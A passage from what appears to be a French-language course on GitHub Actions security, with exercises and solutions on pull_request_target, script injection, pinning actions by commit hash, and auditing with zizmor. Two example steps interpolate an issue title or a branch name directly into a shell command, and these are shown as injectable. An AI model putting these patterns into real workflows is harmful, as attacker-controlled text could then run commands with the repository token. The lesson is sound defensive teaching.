1. Pour chacun de ces workflows, dites s'il est exploitable par un inconnu sur un dépôt public, et pourquoi. (a) on: pull_request, qui exécute les tests de la demande de fusion avec un secret de dépôt ; (b) on: pull_request_target, qui ajoute une étiquette à la demande de fusion selon les fichiers modifiés, sans checkout ; (c) on: issue_comment, qui exécute echo "${{ github.event.issue.title }}".
Solution
(a) Non, pas pour voler le secret : une demande de fusion d'une bifurcation ne reçoit pas les secrets et a un jeton en lecture. Le secret est simplement vide. (b) Non, tant qu'aucune donnée de la demande de fusion n'est exécutée ou interpolée dans un script : c'est l'usage légitime de pull_request_target. Il faut quand même des permissions minimales (pull-requests: write seulement). (c) Oui : le titre du ticket est écrit par n'importe qui et interpolé dans le script, avec le jeton du workflow.
2. Un collègue propose de remplacer l'épinglage par empreinte par l'épinglage sur la version exacte (@v7.0.1 au lieu de @v7), « plus lisible, et une version précise ne bouge pas ». Répondez avec un exemple tiré de cette leçon.
Solution
Une étiquette de version exacte est une étiquette comme une autre : elle peut être déplacée. Les étiquettes v45.0.7, v45.0.8 et v45.0.9 de tj-actions/changed-files désignent aujourd'hui le même commit, et v45.0.7 a été déplacée deux fois (par l'attaquant, puis par les mainteneurs). Les versions immuables de GitHub empêchent ce déplacement pour les dépôts qui les activent, mais on ne contrôle pas ce réglage chez les autres. L'empreinte, avec la version en commentaire, est aussi lisible et ne bouge pas.
3. Réécrivez cette étape pour qu'elle ne soit plus injectable, sans changer ce qu'elle affiche.
- run: echo "Branche ${{ github.head_ref }}, auteur ${{ github.event.pull_request.user.login }}"Solution
- env:
BRANCHE: ${{ github.head_ref }}
AUTEUR: ${{ github.event.pull_request.user.login }}
run: |
printf 'Branche %s, auteur %s\n' "$BRANCHE" "$AUTEUR"Le bloc littéral évite aussi les pièges des valeurs YAML non citées (deux-points suivi d'une espace, #, guillemets en début de valeur), et printf avec un format fixe n'interprète pas les séquences d'échappement contenues dans les valeurs, contrairement à certains echo.
4. Votre organisation active l'exigence d'épinglage par empreinte. Quels workflows vont échouer, et comment les trouver avant ?
Solution
Tout workflow qui référence une action ou un workflow réutilisable externe par étiquette ou par branche. Pour les trouver : faire tourner zizmor (audit unpinned-uses) sur tous les dépôts de l'organisation, comme dans l'audit des sept workflows de Lyneko, ou chercher uses: [^.$].*@(v|main|master) dans le code de l'organisation. Les actions locales (./) et $/ ne sont pas concernées. Épinglez d'abord (le script de cette leçon, ou un outil dédié), puis activez l'exigence.
5. Le workflow securite.yml lance zizmor avec les audits en ligne. Quel jeton utilise-t-il, avec quelles permissions, et pourquoi cela suffit-il ?
Solution
Le GITHUB_TOKEN du job, transmis par défaut à l'action, avec la seule permission contents: read déclarée au niveau du workflow. Les audits en ligne ne font que lire : les étiquettes et commits des dépôts d'actions publics, et la base publique d'avis de sécurité. Aucune écriture n'est nécessaire ; l'action n'a pas besoin de security-events: write puisque advanced-security est désactivé.
Récapitulatif
- Les compromissions de 2024 à 2026 combinent quatre mécanismes : code tiers mobile, entrées non fiables exécutées, privilèges trop larges, état partagé empoisonné.
pull_request_target,issue_commentetworkflow_rundonnent des privilèges à des événements provoqués par n'importe qui : séparez l'exécution du code non fiable (sans privilège) de l'usage des privilèges (sans exécution).- Permissions minimales job par job ;
permissions: {}au niveau du workflow pour partir de rien. - Épinglez par empreinte, version en commentaire, et laissez Dependabot mettre à jour avec un délai de carence.
- Auditez avec actionlint et zizmor, en CI, et triez : un constat n'est pas un verdict, et un workflow propre pour les outils peut rester dangereux.
- Activez les protections de l'organisation : jeton en lecture, actions autorisées, exigence d'épinglage, règles d'exécution (et la désactivation par défaut de
pull_request_targetsur les dépôts publics au 2 novembre 2026).
Pour aller plus loin
- GitHub Docs, Secure use reference : la référence de GitHub sur le durcissement.
- zizmor, audits : chaque audit, avec des exemples et les corrections.
- GitHub Security Lab, Preventing pwn requests : l'article fondateur sur le schéma en deux workflows.
- Leçon suivante : Runners auto-hébergés et exploitation.
Sources
- GitHub Docs, Secure use reference
- GitHub Docs, Securely using pull_request_target
- GitHub Security Lab, Preventing pwn requests
- CISA, Supply chain compromise of tj-actions/changed-files (CVE-2025-30066) et reviewdog/action-setup
- William Woodruff, zizmor et l'injection d'Ultralytics (décembre 2024)
- GitHub Advisory GHSA-69fq-xp46-6x23, compromission de trivy-action (mars 2026)
- TanStack, npm supply chain compromise postmortem (mai 2026)
- Datadog Security Labs, Shai-Hulud 2.0 (novembre 2025)
- GitHub Changelog, Actions policy supports blocking and SHA pinning (15 août 2025)
- GitHub Changelog, Safer pull_request_target defaults for actions/checkout (18 juin 2026)
- GitHub Changelog, Workflow execution protections generally available (17 septembre 2026)
- GitHub Docs, Dependabot options reference (cooldown, groupes)
- zizmor, documentation des audits